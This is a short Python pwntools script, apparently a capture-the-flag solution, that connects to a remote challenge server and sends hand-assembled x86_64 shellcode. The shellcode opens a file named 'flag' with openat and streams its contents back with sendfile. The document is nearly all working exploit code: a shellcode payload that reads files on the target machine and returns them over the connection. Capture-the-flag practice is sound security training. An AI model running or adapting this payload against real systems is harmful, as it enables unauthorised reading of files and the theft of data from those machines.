fireblossom.py

#nc 52.69.206.114 10002


from pwn import *

r = remote("52.69.206.114", 10002)

# openat(-100, “flag”, 0, 0); sendfile(2,3,0,64)
code = "mov rsi, rsp; mov rbx, 0x67616c66; mov [rsi], rbx; mov rdi, -100; xor r10, r10; xor rdx, rdx; mov rax, 257; syscall; "
code += "mov rsi, rsp; mov [rsi], rax; mov rdi, 1; mov rdx, 0x8; mov rax, 1; syscall; "
# sendfile
code += "mov rdi, 2; mov rsi, 3; xor rdx, rdx; mov r10, 0x40; mov rax, 40; syscall;"
payload = asm(code, arch="x86_64")

r.send(payload)
with open("payload", "wb") as f:
    f.write(payload)
time.sleep(0.5)
r.shutdown("send")

r.interactive()